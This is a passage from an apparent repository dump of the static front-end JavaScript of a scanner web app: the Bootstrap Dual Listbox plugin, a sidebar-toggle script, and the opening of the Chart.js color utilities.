dualListbox.elements.select2.append($item.clone(true).prop('selected', $item.data('_selected')));\n      } else {\n        dualListbox.elements.select1.append($item.clone(true).prop('selected', $item.data('_selected')));\n      }\n    });\n\n    if (dualListbox.settings.showFilterInputs) {\n      filter(dualListbox, 1);\n      filter(dualListbox, 2);\n    }\n    refreshInfo(dualListbox);\n  }\n\n  function filter(dualListbox, selectIndex) {\n    if (!dualListbox.settings.showFilterInputs) {\n      return;\n    }\n\n    saveSelections(dualListbox, selectIndex);\n\n    dualListbox.elements['select'+selectIndex].empty().scrollTop(0);\n    var regex = new RegExp($.trim(dualListbox.elements['filterInput'+selectIndex].val()), 'gi'),\n      allOptions = dualListbox.element.find('option'),\n      options = dualListbox.element;\n\n    if (selectIndex === 1) {\n      options = allOptions.not(':selected');\n    } else  {\n      options = options.find('option:selected');\n    }\n\n    options.each(function(index, item) {\n      var $item = $(item),\n        isFiltered = true;\n      if (item.text.match(regex) || (dualListbox.settings.filterOnValues && $item.attr('value').match(regex) ) ) {\n        isFiltered = false;\n        dualListbox.elements['select'+selectIndex].append($item.clone(true).prop('selected', $item.data('_selected')));\n      }\n      allOptions.eq($item.data('original-index')).data('filtered'+selectIndex, isFiltered);\n    });\n\n    refreshInfo(dualListbox);\n  }\n\n  function saveSelections(dualListbox, selectIndex) {\n    var options = dualListbox.element.find('option');\n    dualListbox.elements['select'+selectIndex].find('option').each(function(index, item) {\n      var $item = $(item);\n      options.eq($item.data('original-index')).data('_selected', $item.prop('selected'));\n    });\n  }\n\n  function sortOptions(select) {\n    select.find('option').sort(function(a, b) {\n      return ($(a).data('original-index') > $(b).data('original-index')) ? 1 : -1;\n    }).appendTo(select);\n  }\n\n  function clearSelections(dualListbox) {\n    dualListbox.elements.select1.find('option').each(function() {\n      dualListbox.element.find('option').data('_selected', false);\n    });\n  }\n\n  function move(dualListbox) {\n    if (dualListbox.settings.preserveSelectionOnMove === 'all' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 1);\n      saveSelections(dualListbox, 2);\n    } else if (dualListbox.settings.preserveSelectionOnMove === 'moved' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 1);\n    }\n\n    dualListbox.elements.select1.find('option:selected').each(function(index, item) {\n      var $item = $(item);\n      if (!$item.data('filtered1')) {\n        changeSelectionState(dualListbox, $item.data('original-index'), true);\n      }\n    });\n\n    refreshSelects(dualListbox);\n    triggerChangeEvent(dualListbox);\n    sortOptions(dualListbox.elements.select2);\n  }\n\n  function remove(dualListbox) {\n    if (dualListbox.settings.preserveSelectionOnMove === 'all' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 1);\n      saveSelections(dualListbox, 2);\n    } else if (dualListbox.settings.preserveSelectionOnMove === 'moved' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 2);\n    }\n\n    dualListbox.elements.select2.find('option:selected').each(function(index, item) {\n      var $item = $(item);\n      if (!$item.data('filtered2')) {\n        changeSelectionState(dualListbox, $item.data('original-index'), false);\n      }\n    });\n\n    refreshSelects(dualListbox);\n    triggerChangeEvent(dualListbox);\n    sortOptions(dualListbox.elements.select1);\n  }\n\n  function moveAll(dualListbox) {\n    if (dualListbox.settings.preserveSelectionOnMove === 'all' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 1);\n      saveSelections(dualListbox, 2);\n    } else if (dualListbox.settings.preserveSelectionOnMove === 'moved' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 1);\n    }\n\n    dualListbox.element.find('option').each(function(index, item) {\n      var $item = $(item);\n      if (!$item.data('filtered1')) {\n        $item.prop('selected', true);\n      }\n    });\n\n    refreshSelects(dualListbox);\n    triggerChangeEvent(dualListbox);\n  }\n\n  function removeAll(dualListbox) {\n    if (dualListbox.settings.preserveSelectionOnMove === 'all' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 1);\n      saveSelections(dualListbox, 2);\n    } else if (dualListbox.settings.preserveSelectionOnMove === 'moved' && !dualListbox.settings.moveOnSelect) {\n      saveSelections(dualListbox, 2);\n    }\n\n    dualListbox.element.find('option').each(function(index, item) {\n      var $item = $(item);\n      if (!$item.data('filtered2')) {\n        $item.prop('selected', false);\n      }\n    });\n\n    refreshSelects(dualListbox);\n    triggerChangeEvent(dualListbox);\n  }\n\n  function bindEvents(dualListbox) {\n    dualListbox.elements.form.submit(function(e) {\n      if (dualListbox.elements.filterInput1.is(':focus')) {\n        e.preventDefault();\n        dualListbox.elements.filterInput1.focusout();\n      } else if (dualListbox.elements.filterInput2.is(':focus')) {\n        e.preventDefault();\n        dualListbox.elements.filterInput2.focusout();\n      }\n    });\n\n    dualListbox.element.on('bootstrapDualListbox.refresh', function(e, mustClearSelections){\n      dualListbox.refresh(mustClearSelections);\n    });\n\n    dualListbox.elements.filterClear1.on('click', function() {\n      dualListbox.setNonSelectedFilter('', true);\n    });\n\n    dualListbox.elements.filterClear2.on('click', function() {\n      dualListbox.setSelectedFilter('', true);\n    });\n\n    dualListbox.elements.moveButton.on('click', function() {\n      move(dualListbox);\n    });\n\n    dualListbox.elements.moveAllButton.on('click', function() {\n      moveAll(dualListbox);\n    });\n\n    dualListbox.elements.removeButton.on('click', function() {\n      remove(dualListbox);\n    });\n\n    dualListbox.elements.removeAllButton.on('click', function() {\n      removeAll(dualListbox);\n    });\n\n    dualListbox.elements.filterInput1.on('change keyup', function() {\n      filter(dualListbox, 1);\n    });\n\n    dualListbox.elements.filterInput2.on('change keyup', function() {\n      filter(dualListbox, 2);\n    });\n  }\n\n  BootstrapDualListbox.prototype = {\n    init: function () {\n      // Add the custom HTML template\n      this.container = $('' +\n        '<div class=\"bootstrap-duallistbox-container\">' +\n        ' <div class=\"box1\">' +\n        '   <label></label>' +\n        '   <span class=\"info-container\">' +\n        '     <span class=\"info\"></span>' +\n        '     <button type=\"button\" class=\"btn clear1 pull-right\"></button>' +\n        '   </span>' +\n        '   <input class=\"filter\" type=\"text\">' +\n        '   <div class=\"btn-group buttons\">' +\n        '     <button type=\"button\" class=\"btn moveall\">' +\n        '       <i></i>' +\n        '       <i></i>' +\n        '     </button>' +\n        '     <button type=\"button\" class=\"btn move\">' +\n        '       <i></i>' +\n        '     </button>' +\n        '   </div>' +\n        '   <select multiple=\"multiple\"></select>' +\n        ' </div>' +\n        ' <div class=\"box2\">' +\n        '   <label></label>' +\n        '   <span class=\"info-container\">' +\n        '     <span class=\"info\"></span>' +\n        '     <button type=\"button\" class=\"btn clear2 pull-right\"></button>' +\n        '   </span>' +\n        '   <input class=\"filter\" type=\"text\">' +\n        '   <div class=\"btn-group buttons\">' +\n        '     <button type=\"button\" class=\"btn remove\">' +\n        '       <i></i>' +\n        '     </button>' +\n        '     <button type=\"button\" class=\"btn removeall\">' +\n        '       <i></i>' +\n        '       <i></i>' +\n        '     </button>' +\n        '   </div>' +\n        '   <select multiple=\"multiple\"></select>' +\n        ' </div>' +\n        '</div>')\n        .insertBefore(this.element);\n\n      // Cache the inner elements\n      this.elements = {\n        originalSelect: this.element,\n        box1: $('.box1', this.container),\n        box2: $('.box2', this.container),\n        filterInput1: $('.box1 .filter', this.container),\n        filterInput2: $('.box2 .filter', this.container),\n        filterClear1: $('.box1 .clear1', this.container),\n        filterClear2: $('.box2 .clear2', this.container),\n        label1: $('.box1 > label', this.container),\n        label2: $('.box2 > label', this.container),\n        info1: $('.box1 .info', this.container),\n        info2: $('.box2 .info', this.container),\n        select1: $('.box1 select', this.container),\n        select2: $('.box2 select', this.container),\n        moveButton: $('.box1 .move', this.container),\n        removeButton: $('.box2 .remove', this.container),\n        moveAllButton: $('.box1 .moveall', this.container),\n        removeAllButton: $('.box2 .removeall', this.container),\n        form: $($('.box1 .filter', this.container)[0].form)\n      };\n\n      // Set select IDs\n      this.originalSelectName = this.element.attr('name') || '';\n      var select1Id = 'bootstrap-duallistbox-nonselected-list_' + this.originalSelectName,\n        select2Id = 'bootstrap-duallistbox-selected-list_' + this.originalSelectName;\n      this.elements.select1.attr('id', select1Id);\n      this.elements.select2.attr('id', select2Id);\n      this.elements.label1.attr('for', select1Id);\n      this.elements.label2.attr('for', select2Id);\n\n      // Apply all settings\n      this.selectedElements = 0;\n      this.elementCount = 0;\n      this.setBootstrap2Compatible(this.settings.bootstrap2Compatible);\n      this.setFilterTextClear(this.settings.filterTextClear);\n      this.setFilterPlaceHolder(this.settings.filterPlaceHolder);\n      this.setMoveSelectedLabel(this.settings.moveSelectedLabel);\n      this.setMoveAllLabel(this.settings.moveAllLabel);\n      this.setRemoveSelectedLabel(this.settings.removeSelectedLabel);\n      this.setRemoveAllLabel(this.settings.removeAllLabel);\n      this.setMoveOnSelect(this.settings.moveOnSelect);\n      this.setPreserveSelectionOnMove(this.settings.preserveSelectionOnMove);\n      this.setSelectedListLabel(this.settings.selectedListLabel);\n      this.setNonSelectedListLabel(this.settings.nonSelectedListLabel);\n      this.setHelperSelectNamePostfix(this.settings.helperSelectNamePostfix);\n      this.setSelectOrMinimalHeight(this.settings.selectorMinimalHeight);\n\n      updateSelectionStates(this);\n\n      this.setShowFilterInputs(this.settings.showFilterInputs);\n      this.setNonSelectedFilter(this.settings.nonSelectedFilter);\n      this.setSelectedFilter(this.settings.selectedFilter);\n      this.setInfoText(this.settings.infoText);\n      this.setInfoTextFiltered(this.settings.infoTextFiltered);\n      this.setInfoTextEmpty(this.settings.infoTextEmpty);\n      this.setFilterOnValues(this.settings.filterOnValues);\n\n      // Hide the original select\n      this.element.hide();\n\n      bindEvents(this);\n      refreshSelects(this);\n\n      return this.element;\n    },\n    setBootstrap2Compatible: function(value, refresh) {\n      this.settings.bootstrap2Compatible = value;\n      if (value) {\n        this.container.removeClass('row').addClass('row-fluid bs2compatible');\n        this.container.find('.box1, .box2').removeClass('col-md-6').addClass('span6');\n        this.container.find('.clear1, .clear2').removeClass('btn-default btn-xs').addClass('btn-mini');\n        this.container.find('input, select').removeClass('form-control');\n        this.container.find('.btn').removeClass('btn-default');\n        this.container.find('.moveall > i, .move > i').removeClass('fa fa-arrow-right').addClass('icon-arrow-right');//ACE\n        this.container.find('.removeall > i, .remove > i').removeClass('fa fa-arrow-left').addClass('icon-arrow-left');//ACE\n      } else {\n        this.container.removeClass('row-fluid bs2compatible').addClass('row');\n        this.container.find('.box1, .box2').removeClass('span6').addClass('col-md-6');\n        this.container.find('.clear1, .clear2').removeClass('btn-mini').addClass('btn-default btn-xs');\n        this.container.find('input, select').addClass('form-control');\n        this.container.find('.btn').addClass(this.settings.buttonClass)//ACE;//s.addClass('btn-default');\n        this.container.find('.moveall > i, .move > i').removeClass('icon-arrow-right').addClass('fa fa-arrow-right');//ACE\n        this.container.find('.removeall > i, .remove > i').removeClass('icon-arrow-left').addClass('fa fa-arrow-left');//ACE\n      }\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setFilterTextClear: function(value, refresh) {\n      this.settings.filterTextClear = value;\n      this.elements.filterClear1.html(value);\n      this.elements.filterClear2.html(value);\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setFilterPlaceHolder: function(value, refresh) {\n      this.settings.filterPlaceHolder = value;\n      this.elements.filterInput1.attr('placeholder', value);\n      this.elements.filterInput2.attr('placeholder', value);\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setMoveSelectedLabel: function(value, refresh) {\n      this.settings.moveSelectedLabel = value;\n      this.elements.moveButton.attr('title', value);\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setMoveAllLabel: function(value, refresh) {\n      this.settings.moveAllLabel = value;\n      this.elements.moveAllButton.attr('title', value);\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setRemoveSelectedLabel: function(value, refresh) {\n      this.settings.removeSelectedLabel = value;\n      this.elements.removeButton.attr('title', value);\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setRemoveAllLabel: function(value, refresh) {\n      this.settings.removeAllLabel = value;\n      this.elements.removeAllButton.attr('title', value);\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setMoveOnSelect: function(value, refresh) {\n      if (isBuggyAndroid) {\n        value = true;\n      }\n      this.settings.moveOnSelect = value;\n      if (this.settings.moveOnSelect) {\n        this.container.addClass('moveonselect');\n        var self = this;\n        this.elements.select1.on('change', function() {\n          move(self);\n        });\n        this.elements.select2.on('change', function() {\n          remove(self);\n        });\n      } else {\n        this.container.removeClass('moveonselect');\n        this.elements.select1.off('change');\n        this.elements.select2.off('change');\n      }\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setPreserveSelectionOnMove: function(value, refresh) {\n      // We are forcing to move on select and disabling preserveSelectionOnMove on Android\n      if (isBuggyAndroid) {\n        value = false;\n      }\n      this.settings.preserveSelectionOnMove = value;\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setSelectedListLabel: function(value, refresh) {\n      this.settings.selectedListLabel = value;\n      if (value) {\n        this.elements.label2.show().html(value);\n      } else {\n        this.elements.label2.hide().html(value);\n      }\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setNonSelectedListLabel: function(value, refresh) {\n      this.settings.nonSelectedListLabel = value;\n      if (value) {\n        this.elements.label1.show().html(value);\n      } else {\n        this.elements.label1.hide().html(value);\n      }\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setHelperSelectNamePostfix: function(value, refresh) {\n      this.settings.helperSelectNamePostfix = value;\n      if (value) {\n        this.elements.select1.attr('name', this.originalSelectName + value + '1');\n        this.elements.select2.attr('name', this.originalSelectName + value + '2');\n      } else {\n        this.elements.select1.removeAttr('name');\n        this.elements.select2.removeAttr('name');\n      }\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setSelectOrMinimalHeight: function(value, refresh) {\n      this.settings.selectorMinimalHeight = value;\n      var height = this.element.height();\n      if (this.element.height() < value) {\n        height = value;\n      }\n      this.elements.select1.height(height);\n      this.elements.select2.height(height);\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setShowFilterInputs: function(value, refresh) {\n      if (!value) {\n        this.setNonSelectedFilter('');\n        this.setSelectedFilter('');\n        refreshSelects(this);\n        this.elements.filterInput1.hide();\n        this.elements.filterInput2.hide();\n      } else {\n        this.elements.filterInput1.show();\n        this.elements.filterInput2.show();\n      }\n      this.settings.showFilterInputs = value;\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setNonSelectedFilter: function(value, refresh) {\n      if (this.settings.showFilterInputs) {\n        this.settings.nonSelectedFilter = value;\n        this.elements.filterInput1.val(value);\n        if (refresh) {\n          refreshSelects(this);\n        }\n        return this.element;\n      }\n    },\n    setSelectedFilter: function(value, refresh) {\n      if (this.settings.showFilterInputs) {\n        this.settings.selectedFilter = value;\n        this.elements.filterInput2.val(value);\n        if (refresh) {\n          refreshSelects(this);\n        }\n        return this.element;\n      }\n    },\n    setInfoText: function(value, refresh) {\n      this.settings.infoText = value;\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setInfoTextFiltered: function(value, refresh) {\n      this.settings.infoTextFiltered = value;\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setInfoTextEmpty: function(value, refresh) {\n      this.settings.infoTextEmpty = value;\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    setFilterOnValues: function(value, refresh) {\n      this.settings.filterOnValues = value;\n      if (refresh) {\n        refreshSelects(this);\n      }\n      return this.element;\n    },\n    getContainer: function() {\n      return this.container;\n    },\n    refresh: function(mustClearSelections) {\n      updateSelectionStates(this);\n\n      if (!mustClearSelections) {\n        saveSelections(this, 1);\n        saveSelections(this, 2);\n      } else {\n        clearSelections(this);\n      }\n\n      refreshSelects(this);\n    },\n    destroy: function() {\n      this.container.remove();\n      this.element.show();\n      $.data(this, 'plugin_' + pluginName, null);\n      return this.element;\n    }\n  };\n\n  // A really lightweight plugin wrapper around the constructor,\n  // preventing against multiple instantiations\n  $.fn[ pluginName ] = function (options) {\n    var args = arguments;\n\n    // Is the first parameter an object (options), or was omitted, instantiate a new instance of the plugin.\n    if (options === undefined || typeof options === 'object') {\n      return this.each(function () {\n        // If this is not a select\n        if (!$(this).is('select')) {\n          $(this).find('select').each(function(index, item) {\n            // For each nested select, instantiate the Dual List Box\n            $(item).bootstrapDualListbox(options);\n          });\n        } else if (!$.data(this, 'plugin_' + pluginName)) {\n          // Only allow the plugin to be instantiated once so we check that the element has no plugin instantiation yet\n\n          // if it has no instance, create a new one, pass options to our plugin constructor,\n          // and store the plugin instance in the elements jQuery data object.\n          $.data(this, 'plugin_' + pluginName, new BootstrapDualListbox(this, options));\n        }\n      });\n      // If the first parameter is a string and it doesn't start with an underscore or \"contains\" the `init`-function,\n      // treat this as a call to a public method.\n    } else if (typeof options === 'string' && options[0] !== '_' && options !== 'init') {\n\n      // Cache the method call to make it possible to return a value\n      var returns;\n\n      this.each(function () {\n        var instance = $.data(this, 'plugin_' + pluginName);\n        // Tests that there's already a plugin-instance and checks that the requested public method exists\n        if (instance instanceof BootstrapDualListbox && typeof instance[options] === 'function') {\n          // Call the method of our plugin instance, and pass it the supplied arguments.\n          returns = instance[options].apply(instance, Array.prototype.slice.call(args, 1));\n        }\n      });\n\n      // If the earlier cached method gives a value back return the value,\n      // otherwise return this to preserve chainability.\n      return returns !== undefined ? returns : this;\n    }\n\n  };\n\n})(jQuery, window, document);\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/main.js",
    "content": "(function () {\n\t\"use strict\";\n\n\tvar treeviewMenu = $('.app-menu');\n\n\t// Toggle Sidebar\n\t$('[data-toggle=\"sidebar\"]').click(function(event) {\n\t\tevent.preventDefault();\n\t\t$('.app').toggleClass('sidenav-toggled');\n\t});\n\n\t// Activate sidebar treeview toggle\n\t$(\"[data-toggle='treeview']\").click(function(event) {\n\t\tevent.preventDefault();\n\t\tif(!$(this).parent().hasClass('is-expanded')) {\n\t\t\ttreeviewMenu.find(\"[data-toggle='treeview']\").parent().removeClass('is-expanded');\n\t\t}\n\t\t$(this).parent().toggleClass('is-expanded');\n\t});\n\n\t// Set initial active toggle\n\t$(\"[data-toggle='treeview.'].is-expanded\").parent().toggleClass('is-expanded');\n\n\t//Activate bootstrip tooltips\n\t$(\"[data-toggle='tooltip']\").tooltip();\n\n})();\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/plugins/Chart.js",
    "content": "/*!\n * Chart.js\n * http://chartjs.org/\n * Version: 2.7.2\n *\n * Copyright 2018 Chart.js Contributors\n * Released under the MIT license\n * https://github.com/chartjs/Chart.js/blob/master/LICENSE.md\n */\n(function(f){if(typeof exports===\"object\"&&typeof module!==\"undefined\"){module.exports=f()}else if(typeof define===\"function\"&&define.amd){define([],f)}else{var g;if(typeof window!==\"undefined\"){g=window}else if(typeof global!==\"undefined\"){g=global}else if(typeof self!==\"undefined\"){g=self}else{g=this}g.Chart = f()}})(function(){var define,module,exports;return (function(){function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error(\"Cannot find module '\"+o+\"'\");throw f.code=\"MODULE_NOT_FOUND\",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}return e})()({1:[function(require,module,exports){\n\n},{}],2:[function(require,module,exports){\n/* MIT license */\nvar colorNames = require(6);\n\nmodule.exports = {\n   getRgba: getRgba,\n   getHsla: getHsla,\n   getRgb: getRgb,\n   getHsl: getHsl,\n   getHwb: getHwb,\n   getAlpha: getAlpha,\n\n   hexString: hexString,\n   rgbString: rgbString,\n   rgbaString: rgbaString,\n   percentString: percentString,\n   percentaString: percentaString,\n   hslString: hslString,\n   hslaString: hslaString,\n   hwbString: hwbString,\n   keyword: keyword\n}\n\nfunction getRgba(string) {\n   if (!string) {\n      return;\n   }\n   var abbr =  /^#([a-fA-F0-9]{3})$/i,\n       hex =  /^#([a-fA-F0-9]{6})$/i,\n       rgba = /^rgba?\\(\\s*([+-]?\\d+)\\s*,\\s*([+-]?\\d+)\\s*,\\s*([+-]?\\d+)\\s*(?:,\\s*([+-]?[\\d\\.]+)\\s*)?\\)$/i,\n       per = /^rgba?\\(\\s*([+-]?[\\d\\.]+)\\%\\s*,\\s*([+-]?[\\d\\.]+)\\%\\s*,\\s*([+-]?[\\d\\.]+)\\%\\s*(?:,\\s*([+-]?[\\d\\.]+)\\s*)?\\)$/i,\n       keyword = /(\\w+)/;\n\n   var rgb = [0, 0, 0],\n       a = 1,\n       match = string.match(abbr);\n   if (match) {\n      match = match[1];\n      for (var i = 0; i < rgb.length; i++) {\n         rgb[i] = parseInt(match[i] + match[i], 16);\n      }\n   }\n   else if (match = string.match(hex)) {\n      match = match[1];\n      for (var i = 0; i < rgb.length; i++) {\n         rgb[i] = parseInt(match.slice(i * 2, i * 2 + 2), 16);\n      }\n   }\n   else if (match = string.match(rgba)) {\n      for (var i = 0; i < rgb.length; i++) {\n         rgb[i] = parseInt(match[i + 1]);\n      }\n      a = parseFloat(match[4]);\n   }\n   else if (match = string.match(per)) {\n      for (var i = 0; i < rgb.length; i++) {\n         rgb[i] = Math.round(parseFloat(match[i + 1]) * 2.55);\n      }\n      a = parseFloat(match[4]);\n   }\n   else if (match = string.match(keyword)) {\n      if (match[1] == \"transparent\") {\n         return [0, 0, 0, 0];\n      }\n      rgb = colorNames[match[1]];\n      if (!rgb) {\n         return;\n      }\n   }\n\n   for (var i = 0; i < rgb.length; i++) {\n      rgb[i] = scale(rgb[i], 0, 255);\n   }\n   if (!a && a != 0) {\n      a = 1;\n   }\n   else {\n      a = scale(a, 0, 1);\n   }\n   rgb[3] = a;\n   return rgb;\n}\n\nfunction getHsla(string) {\n   if (!string) {\n      return;\n   }\n   var hsl = /^hsla?\\(\\s*([+-]?\\d+)(?:deg)?\\s*,\\s*([+-]?[\\d\\.]+)%\\s*,\\s*([+-]?[\\d\\.]+)%\\s*(?:,\\s*([+-]?[\\d\\.]+)\\s*)?\\)/;\n   var match = string.match(hsl);\n   if (match) {\n      var alpha = parseFloat(match[4]);\n      var h = scale(parseInt(match[1]), 0, 360),\n          s = scale(parseFloat(match[2]), 0, 100),\n          l = scale(parseFloat(match[3]), 0, 100),\n          a = scale(isNaN(alpha) ? 1 : alpha, 0, 1);\n      return [h, s, l, a];\n   }\n}\n\nfunction getHwb(string) {\n   if (!string) {\n      return;\n   }\n   var hwb = /^hwb\\(\\s*([+-]?\\d+)(?:deg)?\\s*,\\s*([+-]?[\\d\\.]+)%\\s*,\\s*([+-]?[\\d\\.]+)%\\s*(?:,\\s*([+-]?[\\d\\.]+)\\s*)?\\)/;\n   var match = string.match(hwb);\n   if (match) {\n    var alpha = parseFloat(match[4]);\n      var h = scale(parseInt(match[1]), 0, 360),\n          w = scale(parseFloat(match[2]), 0, 100),\n          b = scale(parseFloat(match[3]), 0, 100),\n          a = scale(isNaN(alpha) ? 1 : alpha, 0, 1);\n      return [h, w, b, a];\n   }\n}\n\nfunction getRgb(string) {\n   var rgba = getRgba(string);\n   return rgba && rgba.slice(0, 3);\n}\n\nfunction getHsl(string) {\n  var hsla = getHsla(string);\n  return hsla && hsla.slice(0, 3);\n}\n\nfunction getAlpha(string) {\n   var vals = getRgba(string);\n   if (vals) {\n      return vals[3];\n   }\n   else if (vals = getHsla(string)) {\n      return vals[3];\n   }\n   else if (vals = getHwb(string)) {\n      return vals[3];\n   }\n}\n\n// generators\nfunction hexString(rgb) {\n   return \"#\" + hexDouble(rgb[0]) + hexDouble(rgb[1])\n              + hexDouble(rgb[2]);\n}\n\nfunction rgbString(rgba, alpha) {\n   if (alpha < 1 || (rgba[3] && rgba[3] < 1)) {\n      return rgbaString(rgba, alpha);\n   }\n   return \"rgb(\" + rgba[0] + \", \" + rgba[1] + \", \" + rgba[2] + \")\";\n}\n\nfunction rgbaString(rgba, alpha) {\n   if (alpha === undefined) {\n      alpha = (rgba[3] !== undefined ? rgba[3] : 1);\n   }\n   return \"rgba(\" + rgba[0] + \", \" + rgba[1] + \", \" + rgba[2]\n           + \", \" + alpha + \")\";\n}\n\nfunction percentString(rgba, alpha) {\n   if (alpha < 1 || (rgba[3] && rgba[3] < 1)) {\n      return percentaString(rgba, alpha);\n   }\n   var r = Math.round(rgba[0]/255 * 100),\n       g = Math.round(rgba[1]/255 * 100),\n       b = Math.round(rgba[2]/255 * 100);\n\n   return \"rgb(\" + r + \"%, \" + g + \"%, \" + b + \"%)\";\n}\n\nfunction percentaString(rgba, alpha) {\n   var r = Math.round(rgba[0]/255 * 100),\n       g = Math.round(rgba[1]/255 * 100),\n       b = Math.round(rgba[2]/255 * 100);\n   return \"rgba(\" + r + \"%, \" + g + \"%, \" + b + \"%, \" + (alpha || rgba[3] || 1) + \")\";\n}\n\nfunction hslString(hsla, alpha) {\n   if (alpha < 1 || (hsla[3] && hsla[3] < 1)) {\n      return hslaString(hsla, alpha);\n   }\n   return \"hsl(\" + hsla[0] + \", \" + hsla[1] + \"%, \" + hsla[2] + \"%)\";\n}\n\nfunction hslaString(hsla, alpha) {\n   if (alpha === undefined) {\n      alpha = (hsla[3] !== undefined ? hsla[3] : 1);\n   }\n   return \"hsla(\" + hsla[0] + \", \" + hsla[1] + \"%, \" + hsla[2] + \"%, \"\n           + alpha + \")\";\n}\n\n// hwb is a bit different than rgb(a) & hsl(a) since there is no alpha specific syntax\n// (hwb have alpha optional & 1 is default value)\nfunction hwbString(hwb, alpha) {\n   if (alpha === undefined) {\n      alpha = (hwb[3] !== undefined ? hwb[3] : 1);\n   }\n   return \"hwb(\" + hwb[0] + \", \" + hwb[1] + \"%, \" + hwb[2] + \"%\"\n           + (alpha !== undefined && alpha !== 1 ? \", \" + alpha : \"\") + \")\";\n}\n\nfunction keyword(rgb) {\n  return reverseNames[rgb.slice(0, 3)];\n}\n\n// helpers\nfunction scale(num, min, max) {\n   return Math.min(Math.max(min, num), max);\n}\n\nfunction hexDouble(num) {\n  var str = num.toString(16).toUpperCase();\n  return (str.length < 2) ? \"0\" + str : str;\n}\n\n\n//create a list of reverse color names\nvar reverseNames = {};\nfor (var name in colorNames) {\n   reverseNames[colorNames[name]] = name;\n}\n\n},{\"6\":6}],3:[function(require,module,exports){\n/* MIT license */\nvar convert = require(5);\nvar string = require(2);\n\nvar Color = function (obj) {\n\tif (obj instanceof Color) {\n\t\treturn obj;\n\t}\n\tif (!(this instanceof Color)) {\n\t\treturn new Color(obj);\n\t}\n\n\tthis.valid = false;\n\tthis.values = {\n\t\trgb: [0, 0, 0],\n\t\thsl: [0, 0, 0],\n\t\thsv: [0, 0, 0],\n\t\thwb: [0, 0, 0],\n\t\tcmyk: [0, 0, 0, 0],\n\t\talpha: 1\n\t};\n\n\t// parse Color() argument\n\tvar vals;\n\tif (typeof obj === 'string') {\n\t\tvals = string.getRgba(obj);\n\t\tif (vals) {\n\t\t\tthis.setValues('rgb', vals);\n\t\t} else if (vals = string.getHsla(obj)) {\n\t\t\tthis.setValues('hsl', vals);\n\t\t} else if (vals = string.getHwb(obj)) {\n\t\t\tthis.setValues('hwb', vals);\n\t\t}\n\t} else if (typeof obj === 'object') {\n\t\tvals = obj;\n\t\tif (vals.r !== undefined || vals.red !== undefined) {\n\t\t\tthis.setValues('rgb', vals);\n\t\t} else if (vals.l !== undefined || vals.lightness !== undefined) {\n\t\t\tthis.setValues('hsl', vals);\n\t\t} else if (vals.v !== undefined || vals.value !== undefined) {\n\t\t\tthis.setValues('hsv', vals);\n\t\t} else if (vals.w !== undefined || vals.whiteness !== undefined) {\n\t\t\tthis.setValues('hwb', vals);\n\t\t} else if (vals.c !== undefined || vals.cyan !== undefined) {\n\t\t\tthis.setValues('cmyk', vals);\n\t\t}\n\t}\n};\n\nColor.prototype = {\n\tisValid: function () {\n\t\treturn this.valid;\n\t},\n\trgb: function () {\n\t\treturn this.setSpace('rgb', arguments);\n\t},\n\thsl: function () {\n\t\treturn this.setSpace('hsl', arguments);\n\t},\n\thsv: function () {\n\t\treturn this.setSpace('hsv', arguments);\n\t},\n\thwb: function () {\n\t\treturn this.setSpace('hwb', arguments);\n\t},\n\tcmyk: function () {\n\t\treturn this.setSpace('cmyk', arguments);\n\t},\n\n\trgbArray: function () {\n\t\treturn this.values.rgb;\n\t},\n\thslArray: function () {\n\t\treturn this.values.hsl;\n\t},\n\thsvArray: function () {\n\t\treturn this.values.hsv;\n\t},\n\thwbArray: function () {\n\t\tvar values = this.values;\n\t\tif (values.alpha !== 1) {\n\t\t\treturn values.hwb.concat([values.alpha]);\n\t\t}\n\t\treturn values.hwb;\n\t},\n\tcmykArray: function () {\n\t\treturn this.values.cmyk;\n\t},\n\trgbaArray: function () {\n\t\tvar values = this.values;\n\t\treturn values.rgb.concat([values.alpha]);\n\t},\n\thslaArray: function () {\n\t\tvar values = this.values;\n\t\treturn values.hsl.concat([values.alpha]);\n\t},\n\talpha: function (val) {\n\t\tif (val === undefined) {\n\t\t\treturn this.values.alpha;\n\t\t}\n\t\tthis.setValues('alpha', val);\n\t\treturn this;\n\t},\n\n\tred: function (val) {\n\t\treturn this.setChannel('rgb', 0, val);\n\t},\n\tgreen: function (val) {\n\t\treturn this.setChannel('rgb', 1, val);\n\t},\n\tblue: function (val) 